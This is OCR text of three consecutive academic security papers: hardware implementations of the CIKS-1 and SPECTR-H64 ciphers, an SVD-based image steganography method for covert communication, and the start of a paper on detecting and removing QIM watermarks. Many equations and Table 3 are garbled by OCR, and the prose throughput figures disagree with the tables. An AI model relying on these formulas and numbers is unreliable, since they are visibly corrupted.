mented by 5 gates. A 32-bit serial full adder needs 160 gates in order to be integrated.
The operating frequency for each CP box has almost the same value for both FPGA
and ASIC implementations and it is very high.

3 SPECTR-H64 and CIKS-1 Hardware Implementations

Hardware implementations of both proposed ciphers are designed and coded in
VHDL hardware description language. Both CIKS-1 and SPECTR-H64 were imple-
mented using two complete different implementation hardware modules: Application
Specific Integrated Circuit (ASIC) and Field Programmable Gate Arrays (FPGA).
The performance characteristics of both ASICs and FPGAs are substantially different
compared with a general-purpose microprocessor. ASICs and FPGAs have the advan-
tage that can use all the resources for pipelining data transformation, or parallel proc-
essing. On the other hand, the internal structure of the microprocessors functional
units limits the parallel processing and pipelining transformation. In addition the
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instruction parallelism level is a factor of great importance that must be taken under
consideration for microprocessor performance. Furthermore, the hardware devices of
these types can operate on arbitrary size of words, in contrast with processors, that
operate only on fixed-sized words.

ASICs are in general far more expensive devices due to time consuming and high
cost fabrication procedure, which is done by expertise industry departments. FPGAs
can be bought from anyone, since they are enough cheaper and can be programmed
or reconfigured by the designers/researchers. FPGAs have the major advantage that
can perform a completely different task/function after simple designers reconfigura-
tion. ASICs performance is tight and can not be modified after the chip’s fabrication.
The offered reconfiguration has a speed penalty in these devices. ASICs have higher
speed performance in comparison with FPGAs. This is due to the fact that the recon-
figuration in FPGAs causes delays, introduced by the dedicated circuit’s parts needed
to reconfiguration. In general, any implemented system of digital logic in an FPGA,
is slower than ASIC implementation of the same system.

Both CIKS-1 and SPECTR-H64 are examined in hardware implementation by us-
ing two different architectures: full rolling (FRA) and pipelined (PA) for both ASIC
and FPGA devices. The used full rolling architecture is shown in Figure 5,a. It is a
typical architecture for secret key block cipher implementation. The architecture
operates efficiently for both encryption and decryption process. According to this
architecture only one block of plaintext/ciphertext is transformed at a time. The nec-
essary number of clock cycles to encrypt/decrypt a data block is equal to the specified
number of cipher rounds (8 for CIKS-1 and 12 for SPECTR-H64). The key expan-
sion unit produces the appropriate round keys, which are stored and loaded in the
used RAM blocks. One round of the encryption algorithm is performed by the Data
Transformation Round Core. This core is a flexible combinational logic circuit and it
is supported by a n-bit register and n-bit multiplexer (64-bit for both CIKS-1 and
SPECTR-H64). In the first clock cycle, the n-bit plaintext/ciphertext is forced into the
data transformation round core. Then in each clock cycle, one round of the cipher is
performed and the transformed data are stored into the register. According to FRA a
64-bit data block is completely transformed every 8 clock cycles for CIKS-1 (8 trans-
formation rounds). The operation of SPECTR-H64 (12 transformation rounds) needs
12 clock cycles in order a 64-bit plaintext/ciphertext to be generated.

The second proposed architecture is a N-stages PA. In PA a RAM is used for the
round keys storage. Pipelining is not possible to be applied in many cryptographic
applications. However, CIKS-1 and SPECTR-H64 block ciphers structures provide
the availability to be implemented with pipelining technique. The pipelining architec-
ture offers the benefit of the high-speed performance. The implementation can be
applied in applications with hard throughput needs. This goal is achieved by using a
number of operating blocks with a final cost to the covered area. The proposed archi-
tecture uses 8 basic round blocks for CIKS-1 and 12 basic round blocks for SPECTR-
H64, which are cascaded by using equal number of pipelined registers. Based on this
design approach, 8 and 12 different 64-bit data blocks can be processed at the same
time, for CIKS-1 and SPECTR-H64 respectively. Pipelined proposed architecture
produces a new plaintext/ciphertext block every clock cycle.
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Table 3. Implementation Synthesis Results
Devices FPGA Device (Xilinx Vitrex) ASIC (0.33 um)
Covered Area F Rate Area F Rate
Ciphers FG | CLB | DFF | (MHz) | (Gbps) | sqmil | (MHz) | (Gbps)
CIKS-1 1723 907 192 81 0.648 3456 93 0.744
(FR)
1KS-1
g,) S 14128 6346 576 81 5.184 21036 95 5.824
(SFI,)II;J)CTR 1320 713 203 83 0.443 3194 91 0.485
PECTR
(SP) ¢ 10456 7021 832 83 5.312 32123 94 6.016

where: D Flip-Flops (DFF), Configurable Logic Blocks (CLB), Function Generators (FG),

Frequency (F) MHz.

4  VLSI Implementations Synthesis Results

The synthesis results are shown in Table 3, for CIKS-1 and SPECTR-H64, for both
hardware implementations (ASIC and FPGA).



346  N. Sklavos, A. A. Moldovyan, and O. Koufopavlou

Table 4. Encryption Algorithms Comparisons

Device FPGA Device (Xilinx Vitrex)
Covered Area F Rate

Encryption

Algorithms FGs CLBs DFFs (MHz) | (Gbps)
CIKS-1 (FR) 1723 907 192 81 0.648
CIKS-1 (P) 14128 6346 576 81 5.184
SPECTR-H64 (FR) 1320 713 203 83 0.443
SPECTR-H64 (P) 10456 7021 832 83 5.312

2358 FR 22 0.259
AES [10] ) 17314 P ) 28.5 3.650
IDEA [11] - 2878 FR - 150 0.600
722 FR 11 0.184

DES [12] ) 741 P ) 25 0.402

The pipelined architectures of CIKS-1 and SPECTR-H64 have very high speed
performance, in both implementations (ASIC and FPGA). Especially CIKS-1
throughput is up to 5.2 and 5.9 Gbps for FPGA and ASIC implementation respec-
tively. SPECTR-H64 throughput reaches the values of 5.8 and 6.1 Gbps for the same
implementation devices. On the other hand, full rolling architectures for both pro-
posed ciphers allocate minimized area resources with good data rate. Of course for
the full rolling architectures, of both CIKS-1 and SPECTR-H64, the main goal is the
minimized allocated area resources with good achieved throughput. These two block
ciphers based on DDP permutations, which are the basic transformation components
for data diffusion. SPECTR-H64 design allocates more resources than CIKS-1 for all
the devices and examined architectures. The operation frequencies for both ciphers
implementations are too close. The different specified number of rounds (8 for CIKS-
1 and 12 for SPECTR-H64) is the main reason why FRAs of CIKS-1, have higher
performance than FRAs of SPECTR-H64. In PA, where one bloc of data is produced
every clock cycle, the number of specified rounds does no effect the throughput in
such a degree as it is in the case of FRA. According to the applications major de-
mands, area or performance, the designer can use the full rolling or the pipelined
architecture respectively, for each one of the two proposed cipher. The kind of appli-
cation and the characteristics of the application itself, will determine the use of the
FPGA or the ASIC as the integration device, for the implementation either CIKS-1 or
SPECTR-H64.

Until nowadays, no other hardware implementation of the CIKS-1 and SPECTR-
H64 ciphers has been well known in the technical literature. In order for the readers
to have detailed view of CIKS-1 and SPECTR-H64 implementations, the proposed
architectures are compared with implementations of other widely used encryption
algorithms [10-12]. In the next Table 4, FRA and PA implementations are compared
in covered area and throughput, with the other well know ciphers.
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Especially proposed FRA implementations allocated resources are less compared
with AES [10] and IDEA [11] and competitive to DES [12]. The FRA of CIKS-1 and
SPECTR-H64 throughput is better compared with IDEA, AES and DES performance.
The proposed PA implementations have high speed performance. The achieved data
rate of PA is much better compared with DES, IDEA and FRA of CIKS-1 and
SPECTR-H64. The penalty of the PA high speed is the increased covered area re-
sources compared with the proposed FRA and the conventional block ciphers IDEA,
DES, and AES.

Although, the presented comparisons with the other encryption algorithms are
given in order to have a detailed overview of CIKS-1 and SPECTR-H64 implementa-
tions. Of course the compared encryption algorithms specifications and characteris-
tics are different, and we can not go on to fair comparisons results. But the illustrated
comparisons are very interesting to the researchers/implementers, for these two DDP-
based ciphers.

5 Conclusions

This paper focuses Data Dependent Permutations (DDP) implementation aspects, in
hardware devices. SPECTR-H64 and CIKS-1 are latest published powerful encryp-
tion algorithms, based on DDP transformations. The implementation cost in different
hardware devices (FPGA and ASIC) for DDP is presented in this work. The perform-
ance of DDP transformations is also introduced, for VLSI integration. Alternative
FPGA and ASICs implementations of both CIKS-1 and SPECTR-H64 are proposed.
The first, based on full rolling technique minimizes the area resources. The second
uses a pipelined development design and has high speed performance. The compari-
sons results, of both proposed architectures with the other block ciphers, proved that
DDP transformations give many promises for security implementations of communi-
cations systems of the future. CIKS-1 or alternative SPECTR-H64 can substitute
efficiently any existing cipher in applications with high speed demands. In addition to
the high achieved throughput, and the ensured security level, the minimized area
resources make these ciphers trustworthy solutions in both wired and wireless com-
munications world.
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Abstract. The paper presents an empirical study of the properties of a new im-
age-based information hiding technique that are critical for hidden communica-
tion. The technique is based on the Singular Value Decomposition (SVD) trans-
form of a digital image and uses embedding a bit of data through slight
modifications of a linear combination of singular values of a small block of the
segmented cover image. The primary objective of the study is to establish the
dependence between the capacity rate of the invisibly embedded data and ro-
bustness of the steganographic channel distorted by JPEG compression while
varying embedding procedure attributes. The second objective of the empirical
study is to establish practical recommendations concerning adjusting of the con-
trollable attributes of the SVD-based data embedding procedure given the mes-
sage size and the threshold for Bit Error Rate. The results of the study provide
evidence that the developed information hiding approach is promising for hid-
den communication.

1 Introduction

Hiding information in digital images is a rapidly developing area providing an effec-
tive way for information assurance in covert communications, for watermarking of
digital objects and for other applications. Unlike cryptography that aims at hiding the
message content, the goal of information hiding is the concealment of the very fact
that a message exists.

The common requirement to information hiding techniques is providing invisibility
of a message. Given invisibility, quality of a hiding technique is determined by rate of
the hidden data and robustness to common and specific types of intentional distor-
tions. These properties are always contradictive and particular applications favor one
of them [1].

To date a number of techniques for hiding information in digital images have been
developed. Most of them are of value because theory and practice proved that there is
no one superior technique. Each technique has its own advantages and flaws and the
overall evaluation of a technique is application dependent. The overviews of hiding
information techniques are given in [7], [8], [12], [13], [14], [21], [27], etc. Embed-
ding techniques that insert data into the spatial image domain by the use of a selected
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subset of the image pixels and/or a bit-wise approach are described in [3], [4], [6],
[16], [20], [22], [28], [29], etc. Transform-based techniques, that operate images rep-
resented by a finite set of orthogonal or bi-orthogonal “basis functions” are presented
in [5], [10], [15], [19], [23], [24], [26], etc. Examples of such transforms are Discrete
Cosine, Wavelet transform, Singular Value Decomposition, etc. A specific technique
is provided by fractal-based approach that constructs a “fractal code” encoding both
the cover image and hidden message [25].

It should be noticed that most developed techniques are watermarking-oriented
which major requirement is robustness to a wide range of distortions, but not of the
high rate of the embedded data. However, many military and industrial applications
like hidden communication (HC), in particular, hidden transmission of digital images
call for both invisibility of high volumes of data and survivability of the transmitted
information. Examples are transmission of industrial secrets, plans of covert opera-
tions [12], etc. Unfortunately, most existing techniques capable of providing the ratio
of transparently embedded data, required for HC, are highly sensitive to many distor-
tions, in particular, to lossy compressions like JPEG.

In contrast, paper [19] presents a technique oriented to HC application. It proposes
an approach called Spread Spectrum Image Steganography). It is a blind scheme in
which one does not need to use the cover image in order to extract the hidden mes-
sage. The central point of this approach is to embed the message in the form of a sig-
nal provided that the signal has the same characteristics as noise inherent to this im-
age. The last property is provided by a special modulation of the message data.

HC application is the focus of paper [10], which presents a technique primarily
destined for meeting the requirements of the covert communication. The technique
uses Singular Value Decomposition (SVD) transform of digital images. According to
the properties of SVD of a digital image, each singular value (SV) specifies the lumi-
nance (energy) of an SVD image layer, whereas the respective pair of singular vectors
specifies the image geometry. Accordingly, slight variations of SVs cannot affect the
visual perception of the quality variations of the cover image. The robustness of the
approach is provided by the fact that it embeds of data through slight modifications of
the largest SVs of a small block of the segmented covers, i.e. it embeds a message
into low frequency of a cover image. Simulation has proved this anticipation.

This paper presents the results of the detailed simulation-based study of the HC
critical properties of SVD-based data hiding. Primarily, the paper studies interde-
pendencies of both the capacity of invisibly embedded data and robustness of its
transmission through communication channel distorted by JPEG compression, on the
one hand, and values of attributes determining the embedding procedure, on the other
hand. The simulated situation assumes that a message is embedded into digital image
(cover) represented in the bmp format and the resulting image is transmitted in the
JPEG format. The received image with embedded data is again transformed to the
JPEG format. Thus, the cover image can be considered as a noisy channel distorted
by the JPEG compression. In addition, it is assumed that the channel can also be in-
tentionally distorted by applying of a JPEG compression to the transmitted cover with
embedded data. As the robustness metric the value of Bit Error Rate (BER) is used.

The rest of the paper is organized as follows. In Section 2 the concept of the SVD-
based approach to and algorithm for hiding data in digital images is briefly explained
and one of the previously developed algorithms is outlined. Section 3 describes a
distortion model as applied to a message transmitted through a steganographic chan-
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nel. Section 4 discuss the results of simulation-based study of the influence of attrib-
utes specifying the SVD-based embedding procedure on both the capacity of the in-
visibly embedded data and robustness of its transmission through steganographic
communication channel distorted by JPEG compression of different quality. The
Conclusion summarizes the paper results and future work.

2 SVD of Digital Images and Information Hiding Technique

Assume that a digital image in the bitmap format is specified by a mxn matrix,
A={a,,},, . If an image is represented in RGB format then it is specified by three

such matrices, A,, A, and A, .
An arbitrary matrix A of size mxn can be represented by its SVD [8] in the form

A=XAY' =Y "2 x Y’ M

where X, Y are orthogonal mxm and nxn matrices respectively, X,,X,,....X and

Y.Y,,...Y are their columns, A isa diagonal matrix with non-negative elements,

and ¥ < min{ m,n} is the rank of the matrix A. Diagonal terms A4,,4,,..., 4, of

matrix /A are called singular values (SV) of the matrix A and r is the total number of
non-zero singular values. Columns of the matrices X, Y are known as left and right
singular vectors of matrix A respectively.

There are several ways to calculate SVs A, 4,,..., 4, . The most simple way is to

calculate them as /1,. =, U, i=12,...,r, where U, is the i-th eigenvalue of the matrix

i

AA ", or AT A . The left singular vector X,, i=1,2,...,F, is equal to the eigen-
vector of the matrix AA " corresponding to (I, . Similarly, the right singular vec-
tor Y ;»i=1, 2,.., v, is equal to the eigenvector of the matrix ATA that corresponds

to its eigenvalue ;. If an image is given in RGB format then it can be represented
by three such SVDs in the form (1). Thus, SVD of an image is decomposition of each

its matrix, A,, A, and A, ,intolayers 4, X,Y,", ,X,Y,) ., A. X Y  Asa

249 5eee

rule, singular values are enumerated in descending mode: if /1,. > A ; then i<j, and

A, is the largest one.

SVD of an image was originally considered in [2]. In this work the author pro-
posed to use it for a lossless compression of images. Later a number of authors also
used SVD of digital image transform combined with other transforms in order to
increase the ratio of an image lossless compression. For example, to code images, in
[31] SVD transform is combined with Vector Quantization approach, and in [30] a
combination of SVD and Karhunen-Loeve transform is used to develop a hybrid
compression. In [9] a format for SVD-based lossy compression of digital images was
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proposed. This format was intended for thrifty representation of a digital image des-
tined for hiding in a cover one. Use of SVD transform for data hiding was originally
proposed in [10].

Let cover image be represented in a 24 bit (RGB) format. Assume that it is seg-
mented into small blocks of size Ixk pixels, and A is the matrix of an arbitrary block
corresponding to one of Red, Green or Blue color layer. Let bit b be embedded into
block A. The algorithm of the embedding procedure is as follows:

1. Compute SVD of matrix A. Let V*=[4,,4,,..,A ] be the vector composed of

singular values of matrix A ordered in decreasing mode, X, and Y, are singular

vectors of matrix A, i=1,2,...,r, and r is the rank of matrix A.

2. Compute Euclidean norm of vector V*, Norm (V%)= Y whH?, where v/,

i=1,2,...,r, are the components of the vector V *.
3. Select the value of the step of quantization of the Euclidean norm of the vector
V*, Delta [10].

4. Compute the integer N=[Norm( V*)/Delta]*, where * symbolizes the integer part
of the quotient of the above division.

5. Embed bit b according to the following algorithm:
If b=1 then

{if Nisodd then N =N+1 else N =N}
else (if b=0)

{if N is even then N =N else N =N+1}}
6. Compute the modified norm of the vector of the singular values:
Norm (V* )= ﬁ XDelta+(Delta/2).
7. Compute the modified vector of the singular values:
Vizy? X(Norm (\71 YINorm (V7)).

8. Compute the modified matrix of the block in which bit b is embedded:
~ .~ ,
A=Y AXY'.

9. End of the single bit embedding procedure.

The described algorithm must be applied to each block of the cover image in which
a bit of data is to be embedded.

The extraction procedure is blind. Let A be the matrix of a block containing hid-
den bit b of data, which must be extracted.
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1. Compute SVD of the block A . Let Delta(Red), be the vector of singular values

ordered in decreasing mode, X, and Y, be the singular vectors of the matrix A ,

i=1,2,...,r, and r is the rank of matrix A .

2. Compute the Euclidean norm of vector V *, i.e.

Norm (‘71):1,2::1(17"1)2 .

3. Compute j\? =[Norm ( v ) Delta]*.
4. Compute the value of the hidden bit b:

{If N is even then b=1 else b=0)

5. End of extraction procedure for a single block of the segmented digital image con-
taining hidden message.

Several secret keys can be used for restriction of the access to the embedded mes-
sage. They are sizes of block used for image segmentation, code of pseudorandom
seeding of the message bits, initial shift of the first position of image segmentation,
and quantization step sizes, Delta(Red), Delta(Green), Delta(Blue), have been used

for quantization of the vector V* module.

3 Transmission Channel Distortions and Simulation Attributes

Consider a steganography channel distorted by JPEG compression. It is well known
that such a distortion is non-additive and also non-Gaussian. For this reason, the ana-
Iytical exploration of the distortion of the extracted message given the capacity rate
and JPEG compression quality, like it is done in [18] for additive white Gaussian
noise, is impossible. This is why it is explored empirically via simulation.

The simulation scheme of hidden communication including a message embedding,
distortion of transmitted image within communication channel, intentional distortion
and distorted message extraction is presented in Fig. 1. Both distortions, within com-
munication channel and intentional one are modeled as JPEG compressions.

The invisibility of embedded message is assured by the chosen value of the quanti-
zation step of the vector V*module, Delta (see Section 2), which was assigned ac-
cording to the results of empirical optimization presented in [10]. The primary simula-
tion goal is to assess BER of the extracted message subjected to a combination of the
above distortions, JPEG- 1 and JPEG- 2, given a varying size of blocks of cover
image segmentation (this attribute also implicitly specifies the capacity rate of the
embedded message). The other goal of simulation is to define recommendations with
regard to the choice of the attributes of SVD-based data embedding procedure for a
given message size and given admissible upper threshold for BER.
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Fig. 1. Model of hidden communication and embedded message distortion

The attributes varied in the simulation procedure are as follows:

e The size of the small block used in the cover image segmentation: §x8, 12x12, and
16x16; each of such blocks is used for embedding a bit of data;

e The attribute specifying the level of noise affecting the quality of JPEG-
compression 1 (see Fig. 1): 10%, 20%, 40%, 60%, 80% and 100%;

e The attribute specifying the extent of intentional distortion, i.e. the quality of
JPEG-compression 2 (see Fig. 1): 10%, 20%, 40%, 60%, 80% and 100%.

Statistical processing of the simulation results is done on the basis of 5 standard
pictures used in image-based information hiding research. They are Baboon, F16,
Lena, Brandyrose and Pepper, all of them reduced to the size of 200x200 pixels.

4 Simulation Results and Discussion

The results of simulation averaged over 5 standard cover images of size 200 X200
pixels are presented in Fig. 2 ,..., Fig. 6.

Fig. 2 illustrates the dependence of BER upon the quality (percentage) of JPEG
compression 1, i.e. upon the distortion of steganography channel, for different seg-
mentation of the cover image. One can see that for segmentation of cover image into
blocks of size 16x16 and for JPEG compression up to 20% the averaged value of
BER is no more than 15% and for JPEG of 10%, which corresponds to an extremely
high distortion, BER is about 18%. The 15% limit of the BER value for blocks of size
12x12 is maintained up to 50% of JPEG quality. It is natural that an increase of the
block size leads to the decrease of BER (i.e. to the increase of robustness). It should
be noticed that in the last case the “price of the increased robustness” is the decrease
of the embedded data capacity. This fact is demonstrated in Fig. 3 showing the de-
pendence of BER on the capacity rate of the embedded data. Let us notice that each
point of the plot presented in Fig. 3 implicitly corresponds to different percentages of
JPEG compression and the latter leads to the modification of the transmission channel
payload due to the decrease of resulting length of the compressed file along with the
decrease of the JPEG compression quality while preserving the length of the embed-
ded data.



Simulation-Based Exploration of SVD-Based Technique for Hidden Communication 355

25

20

15

10

bit error rate %

0 20 40 60 80 100
JPG quality %
—&—block size 12x12 —— block size 16x16 —A— block size 8x8

Fig. 2. Plot of the dependencies between the quality of JPEG compression 1 and BER for dif-
ferent sizes of segmentation blocks
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Fig. 3. Plot of the dependencies between the rate of the transparently embedded data and BER
for different sizes of segmentation block

Fig. 4 and Fig. 5 demonstrate the relationship between BER and JPEG-like distor-
tions while the distortion of steganography channel is modeled by JPEG compression
1 and the intentional distortion is modeled by JPEG compression 2. Fig. 4 presents
these relationships for the segmentation blocks of size 8x 8, and Fig. 5 - for the seg-
mentation blocks of size /2x72. The solid lines in these figures correspond to the case
without intentional distortion that is consistent with the results shown in Fig. 2 for the
respective sizes of blocks.
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Fig. 4. Plot of the dependence between the quality of steganography noisy channel (distorted by
JPEG 1 of different quality) added intentional distortion (JPEG 2) for segmentation blocks of
size 8x8 and BER
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Fig. 5. Plot of the dependence between the quality of steganography channel (distorted by
JPEG 1) added intentional distortion (JPEG 2) for segmentation blocks of size /2x12 and BER

While comparing the plots presented in Fig. 4 and in Fig. 5, one can see that the re-
sult of collateral effects of the noisy channel and intentional distortion is nonlinear.
Indeed, the averaged BER value resulted from the steganography channel distortion,
say, corresponding to 80% quality of JPEG compression, is significantly less than
BER corresponding to application of two JPEG compressions (channel noise and
intentional distortion) both of quality 90%. One more observation resulted from the
simulation is that the detrimental effect of the intentional distortion (second JPEG) on
the embedded information decreases with the increase of the block size.
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Fig. 6. Selection of an appropriate segmentation for a particular message transmitted by noisy
channel distorted by JPEG compression 1 of given quality

In practice of hidden communication it is important to provide a required quality of
message delivery given the message size. The recommendation can be formulated on
the basis of the simulation results discussed above. For example, Fig. 6 shows how
one can choose a type of SVD-based embedding procedure, i.e. how to choose the
size of block of cover image segmentation given both the length of the message and
the requirement message survivability if the latter is specified in terms of the lower
threshold of the rate of bits to be recovered correctly. For example, if the percentage
of the correctly transmitted bits of a message has to be no more than 92% and the rate
of message given cover image length is 0.009 than the admissible selection of the
cover image segmentation is 8x8. The admissible selection area is shown in Fig. 6.

4 Conclusion

The paper presents results of an empirical study of a novel approach to information
hiding in digital images intended for hidden communication. The approach is based
on SVD transform of small blocks of the image matrix specifying it in bmp format.
This approach is blind, i.e. extraction of hidden message does not require possessing
the undistorted cover image. The approach is potentially robust since it embeds a bit
of data through slight modification of largest singular values of the image segmenta-
tion blocks, i.e. embeds a message into low frequency.

Indeed, an extended empirical study, the main subject of the paper, showed that the
approach provides survivability of hidden messages of a sufficiently high rate of ca-
pacity even if transmitted through a noisy steganography channel and subjected to
such a destructive distortion as JPEG compression. For example, it is capable of sup-
porting the payload rate of 0.005 (in respect to the size of the cover image in bmp
format) if the required BER is no more then 0.015 (see Fig. 6). A result of the study is
that intentional distortion imposed by the noisy steganography channel (JPEG 2)
leads to the significant, higher than linear, BER increase.
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For the empirical study we have used our own software by use of Visual C++
software development environment. In the developed software, embedding and recov-
ery can be equipped with passwords and secret keys to seed blocks thus providing
restricted access to the hidden data. There exist several additional attributes (as indi-
cated in the end of Section 3) facilitating further increase of security assurance of the
hidden information.

The approach can also be used for various applications like watermarking, etc. that
were also the subjects of empirical study.

The future works include developments of new SVD-based techniques for hiding
information in digital images and application of the approach to mobile hidden com-
munications.
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Abstract. Methods of attack on watermarks embedded with quantization index
modulation and block DCT are introduced in this paper. The proposed method
can detect the presence of hidden data by analyzing the histogram or spectrum
of the transform coefficients, and prevent their extraction without further de-
grading the image. It is shown that, in some cases, the embedding-induced dis-
tortion can even be reduced in terms of peak-signal-to-noise ratio. Experimental
results are given to show the effectiveness of the method.

1 Introduction

Digital watermarking has become an active research area over the last decade. Protec-
tion of intellectual property rights and covert communication are typical applications.
It is essential for any data hiding technique that the hidden information causes no
serious degradation to the host signal and, in the meaning time, the embedding must
be robust enough to be able to survive hostile attacks as well as common signal proc-
essing.

Many information embedding techniques are robust in resisting various signal
processing operations such as compression and filtering, but less robust against cer-
tain types of malicious attacks. In this paper, we demonstrate an attack scheme that
can defeat watermarking for still images based upon quantization index modulation
(QIM) [1-3]. It can reveal the presence of hidden information in the absence of the
original cover image, and remove the embedded data without further degrading per-
ceptual quality of the image. The purpose of studying the attack strategies is twofold.
First, successful attacks may provide clues for improving watermarking performance,
and secondly, attack itself is a countermeasure against hostile covert communication.
The latter, referred to as active warden attack, is an important part of the current re-
search topic of information warfare that has attracted much attention form computer
specialists, signal processing and information security professionals, and software
developers [4].

In Section 2 we briefly describe a watermarking technique for images based on
QIM and block DCT. Statistical characteristics of the DCT coefficients of a water-
marked image are studied in Section 3. Section 4 presents a method for detecting and
disabling QIM/DCT-based watermarks. Experimental results are given in Section 5.
Section 6 concludes the paper.

V. Gorodetsky et al. (Eds.): MMM-ACNS 2003, LNCS 2776, pp. 360-370, 2003.
© Springer-Verlag Berlin Heidelberg 2003
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2 Quantization Index Modulation and Watermark Embedding

Using quantization index modulation (QIM) to embed watermark into still images can
achieve a good tradeoff among embedding rate, distortion, and robustness [1-3]. The
method is briefly outlined in this section.

Let s(x; m) be an ensemble of embedding function where x is the host signal and m
is an index. Each function must be sufficiently close to x to ensure imperceptibility.
Fig. 1 illustrates a QIM scheme with me {0,1} representing binary values of the data
to be embedded. In this case, two quantizers are used, and the corresponding sets of
reconstruction points shown as solid dots and circles respectively.

s(om)=Q0lx+dm)]-dm), m=0,1, (1)

where Q is a rounding operator, and d(m) corresponds to the m-th quantizer.

In the detector, by finding which of the two quantizers having a quantized value
closest to the received data bit, the embedded data can easily be retrieved. Embedding
capacity, induced distortion and robustness are associated, respectively, with the
number of quantizers, the size and shape of quantization cells, and the minimum dis-
tance J__between the reconstruction points of different quantizers.

min

X 5(x;0)

s(x;1)

Fig. 1. QIM: solid dots and circles are reconstruction points of two quantizers respectively

It is clear that a large &,,, therefore better robustness, requires large quantization
cells hence poor invisibility. By embedding more than one bit into each host data
point, embedding capacity may be increased. In this case, however, J,, will be re-
duced leading to less robustness.

A simple implementation of QIM using block DCT may be obtained like this: The
host image is first segmented into 88 blocks. Two-dimensional DCT is performed on
each block. Selected coefficients are then taken from each transform-domain block
and quantization-index-modulated. These QIM modified coefficients are used to re-
place the original ones in the inverse block DCT to produce a marked image.

More sophisticated implementations can be found in the literature. For example, in
[5], the chosen DCT coefficients are pseudo-randomly scrambled in order to remove



362 K. Zhang, S. Wang, and X. Zhang

correlation and equalize the energy distribution, and then undergo a second layer of
orthogonal transformation such as DFT. QIM is carried out in the dual-transform
domain. The marked image is obtained by a reverses sequence of operations: IDFT,
de-scrambling, replacement of the chosen DCT coefficients with modified ones and
finally, block-IDCT.

3  Statistical Properties of DCT Coefficients

Based on the central limit theorem, it has been conjectured that the AC coefficients of
DCT obey a Gaussian distribution [6]. Other authors suggest different probability
density functions such as Laplacian [7] and generalized Gaussian [8]. The PDF of
zero-mean generalized Gaussian distribution is:

} , 2

_T@/v)
alv)= ri/v) )

X

va(v) B
f(x) —)expl a(v)6

T 26Ty

where (V) is defined as

In the above expressions, I'(:) is a gamma function. The variablesv and & are posi-
tive constants depending on the frequency index of the coefficients under considera-

Fig. 2. Histograms of DCT coefficients of different frequency components

Fig. 2 shows the histograms of the corresponding DCT coefficients in some blocks
of a test image Lena. Each block is sized 8x8. The first block corresponds to the DC
component, while the rest are AC components with different spatial frequencies (only
seven AC components are shown in the figure). Scaling of the histograms is kept
constant except for the DC component. It is observed that the distributions of all AC
components are approximately Gaussian. The variance of each histogram decreases
with increasing spatial frequency because energy in most natural images is generally
concentrated in low frequency bands. As can be seen in the figure, another feature is
that the lines are distributed compactly and roughly symmetrical about the mean
without obvious missing segments. In the rest of the paper, only AC components are
considered.
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4 Blind Detection and Removal of Embedded Information

In copyright protection applications, attacks on watermarked products aim to prevent
correct detection and/or extraction of the embedded information. The fact that a hid-
den watermark exists in images is publicly known. General-purpose attacking tools
are available [9] which are effective on a wide range of watermarking techniques. In
the present work, however, the purpose is to combat covert communication, which
embeds hostile data in an apparently innocuous cover signal that may be mingled with
a huge amount of digital media, in particular over the Internet. So the primary task is
to identify the object containing secret information. Having located a suspicious ob-
ject, the attacker may further attempt to “remove” the embedded data without addi-
tional degradation, which is referred to as an active-warden attack [10]. As most such
detection/removal algorithms are related to specific embedding techniques, the
method proposed here is developed for detecting the QIM embedding.

Although most watermarks are highly imperceptible, they may not be absolutely
“invisible” statistically. As such, it is possible to achieve blind detection of embedded
information by analyzing statistical characteristics of a digital media.

4.1 Detection and Removal of Watermarks Embedded with DCT/QIM

First consider the simplest embedding scheme using only one layer of block DCT as
described in Section 2. It is clear that quantization of DCT coefficients will inevitably
alter the pattern of histograms of the corresponding frequency components. The his-
tograms will become “discrete” with periodically missing lines as shown in Fig. 3.
Therefore observation of the histogram reliably locates the DCT component on which
quantization has been performed, giving a clue that the image may be QIM-marked.

Fig. 3 shows histograms of the 20th DCT coefficients of a test image Baboon (or-
dered based on zigzag scanning) obtained from all transform-domain blocks. Fig. 3(b)
is calculated from the original image, and (c) from the DCT/QIM watermarked ver-
sion. From the discrete histogram, it is also possible to derive the quantization step
A used in the embedding, which is half period of FFT of the histogram. This may
provide a means to erase watermark without introducing excessive impairment to the
image.

ol

(a) (b) (©)

Fig. 3. Image and histograms of its 20th bock-DCT components: (b) without embedded data,
and (c) with embedded data
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Assume that two quantizers with the same quantization step A are used in the em-
bedding. For maximum robustness, the minimum distance between reconstruction
positions should be A/2 as shown in Fig. 4. In the figure, thick vertical bars indicate
quantized values after embedding. With quantizer 0, for example, if a QIM modified
coefficient is A, the original coefficient value x € [A—A/2, A4+A/2]. With quantizer 1, x
is quantized to A+A/2. The average error caused by QIM embedding is

[x=Al=]

A-A/2

A+A /2

A
|x—Al PA(X)dX—— , “)

where p (x)=1/A since quantization error obeys a uniform distribution.

To remove the embedded data, one can “restore” the modified histogram by dither-
ing. Each quantized coefficient is modified with a random number uniformly distrib-
uted in [-A/2, +A/2] as shown by the shaded regions in Fig. 4. Thus an original coef-
ficient x € [A, A+A/2] is now moved to y that may locate anywhere within [A-A/2,
A+A/2] or [A, A+A] depending on the quantizer used. The average error in y with
respect to the original x is

a2 ear2 A
- =—J [JM —XIp,,(y)dy] dr==, 5)
where p (y)=1/A.
[}
i
I
| <O ] uantizer 0
I A-A A T X T A+A > Q
[}
[}
[}
I
|
| | :
ol " O—):I A p Quantizer 1

Fig. 4. Removal of QIM watermark with dithering. The thick vertical bars indicate the quantiz-
ers’ reconstruction values. The shaded regions represent the range of dithering

Another method is to modify the watermarked coefficients by adding +A/4+p,
where fis a uniformly-distributed random variable much smaller than A/4, as shown
in Fig. 5. In this case, the watermark can no longer be detected, but the histogram of
DCT coefficients remains discrete. The average error of the resultant coefficients are:

2 2| 1 Al 1 A 5
—x|l== —x——]+—=| x+— ||ldx =—A ,
ly—x|==] { ‘x 2(x 4]}’“ - 6)

2 4
which is slightly better than the continuous dithering technique.
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By using the described technique, the hidden information can be removed from the
marked image, accompanied by a small amount of additional distortion. Taking into
account the statistical distribution of the DCT coefficients, nonetheless, this additional
distortion can be reduced, or even better, the original damage done by the watermark
embedding can be repaired to certain extent. Since each DCT component obeys a
zero-mean generalized Gaussian distribution, the probability of small magnitudes is
greater than that of large magnitudes. The marked image may even be “repaired” for
images with moderate amount of high-frequency details if half of the AC coefficients
that are relatively far from zero are perturbed by A/4 towards zero.

| H (—(j | tizer 0
0 » Quantizer

N A U x A+
|
], |
[}
[}
I o[|—>l p Quantizer 1
A-A/2 A L x o A+A2

Fig. 5. Removing QIM watermark using discrete dithering. The shaded narrow stripes represent
the range of dithering

4.2 Detection of Watermarks Embedded with Double Transform and QIM

With double-transform/QIM embedding as illustrated in Fig. 6 (see [5]), histograms
